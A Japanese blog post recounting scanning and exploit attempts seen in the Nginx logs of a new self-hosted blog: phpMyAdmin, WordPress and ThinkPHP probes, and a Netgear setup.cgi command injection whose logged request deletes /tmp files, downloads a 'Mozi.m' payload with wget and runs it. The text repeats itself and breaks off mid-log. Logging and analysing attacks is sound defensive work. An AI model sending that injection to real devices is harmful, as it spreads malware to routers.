xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:06 +0000] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:07 +0000] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:09 +0000] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:11 +0000] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:13 +0000] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:14 +0000] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:16 +0000] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:19 +0000] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /phppma/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:23 +0000] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /program/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:26 +0000] "GET /PMA/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"

これらのリクエストは、PHPMyAdminの場所を探しているようです。もしも攻撃が成功していたら、DBの内容が抜き取られたり改ざんされたりされていたかもしれません。

幸い私の場合はそもそもPHPMyAdminを入れてないのでこの攻撃には無傷で済んだのですが、もし入れている場合は、このような攻撃にさらされることを前提に、わかりにくい場所に置いておく必要がありそうです。

Wordpressの情報の収集

以下のようなリクエストが、アメリカのGCP上のサーバー及び、イギリスのロンドン周辺のサーバーから届いていました。

xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:04 +0000] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET / HTTP/1.1" 200 22348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /website/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /news/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /media/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /site/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:07 +0000] "GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:08 +0000] "GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"

'wlwmanifest.xml'というファイルの在りかを、必死に探っているようです。このファイルは、Windows Live Writerというツールの設定ファイルだそうです。このファイルの中身を見られたところで、直接的な被害はないそうなのですが、古いバージョンのWordpressを使っていることが攻撃者に知られていしまい、今後の攻撃の対象になってしまうかもしれません。そのため、現在はWordpressユーザーはこのファイルを隠しておくのがベターとなっているそうです。

フレームワークの脆弱性を狙い撃ち

中国の、テンセントクラウド上で動くサーバーから、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /TP/public/index.php/ HTTP/1.1" 301 55 "http://yyy.yyy.yyy.yyy/TP/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:41 +0000] "GET /tp/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /TP/index.php/ HTTP/1.1" 301 48 "http://yyy.yyy.yyy.yyy/TP/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /tp/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /thinkphp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/thinkphp/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:42 +0000] "GET /html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:43 +0000] "GET /TP/html/public/index.php/ HTTP/1.1" 301 60 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /tp/html/public/index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/TP/html/public/index.php/" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:44 +0000] "GET /elrekt.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /elrekt.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/elrekt.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET /index.php/ HTTP/1.1" 404 2311 "http://yyy.yyy.yyy.yyy/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
xxx.xxx.xxx.xxx - - [13/Jan/2020:06:56:46 +0000] "GET / HTTP/1.1" 200 3451 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"

ThinkPHPという、中国で人気のPHPのフレームワークの脆弱性を狙った攻撃だそうです。こちらのブログに、該当脆弱性の説明が詳しく載っています。一言でまとめると、OSコマンドインジェクションのようなものが可能になってしまう脆弱性だそうです。

ルーターの脆弱性を狙った攻撃

この記事を書いている最中にも、攻撃が来ました。中国湖南省からはるばるお越しです。下のようなリクエストでした。

xxx.xxx.xxx.xxx - - [15/Jan/2020:03:47:25 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 178 "-" "-"

Netgearのルーターの脆弱性で、setup.cgiというファイルにパラメーターを渡すことで、OSコマンドインジェクションができてしまうそうです(参考)。rm -rfとか、ブッソウなコマンドが渡されています。幸い私はこの脆弱性に関係なかったので、無傷でした。

まとめ

ツールの脆弱性をつく攻撃が多かったです。サーバーにインストールしているツールやフレームワークは、こまめにアップデートする必要がありそうです。

攻撃の中でも、WordpressやPHPを狙ったものが多かったです。これらはシェアが高いだけに、攻撃にさらされる機会も増えるのかもしれません。

また、私のウェブサイトのように、コンテンツが一切なく誰からもアクセスされないようなものであっても、しっかり攻撃が来ていました。サイバー攻撃を他人事だと思わず、誰もがしっかり対策するべきなのだと実感させられました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

自前のサーバーでブログを開設した途端、世界中から怪しい攻撃が来た話

はじめに

概要

AWSの個人アカウントでEC2インスタンスを立ち上げて、そこにNginxやCMSを入れて、ブログを開設しました。ドメイン名を取得してIPアドレスとの紐づけ等はしましたが、コンテンツはまだ投稿しておらず、ロクにアクセスも来るはずがありません。

ところが、Nginxのアクセスログを見てみると、作成して1,2日のうちに、世界中から攻撃を試みられていたことがわかりました。ここでは、具体的にどのような攻撃があったのかについてまとめておきます。

サーバーの設定

サーバーは、EC2のt2.mediumのインスタンスです。ミドルウェアとしてはNginxとMySQLを入れていて、CMSとしては、私が苦手なPHPで動くWordpressではなく、Node.jsで動くGhostを入れました。

internet_dos_attack.png

攻撃の内容

以下に攻撃の内容を具体的に記します。大体同じような内容の攻撃的なアクセスが、世界中に散らばった複数地点から来ていました。

DBへの攻撃

ドイツのハンブルグ周辺及び台湾北部から、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:03 +0000] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:05 +0000] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:06 +0000] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:07 +0000] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:08 +0000] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:09 +0000] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:11 +0000] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:13 +0000] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:14 +0000] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:16 +0000] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:17 +0000] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:19 +0000] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /phppma/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:22 +0000] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:23 +0000] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:25 +0000] "GET /program/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:26 +0000] "GET /PMA/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"

これらのリクエストは、PHPMyAdminの場所を探しているようです。もしも攻撃が成功していたら、DBの内容が抜き取られたり改ざんされたりされていたかもしれません。

幸い私の場合はそもそもPHPMyAdminを入れてないのでこの攻撃には無傷で済んだのですが、もし入れている場合は、このような攻撃にさらされることを前提に、わかりにくい場所に置いておく必要がありそうです。

Wordpressの情報の収集

以下のようなリクエストが、アメリカのGCP上のサーバー及び、イギリスのロンドン周辺のサーバーから届いていました。

xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:04 +0000] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:05 +0000] "GET / HTTP/1.1" 200 22348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /web/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /website/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
xxx.xxx.xxx.xxx - - [14/Jan/2020:12:55:06 +0000] "GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"
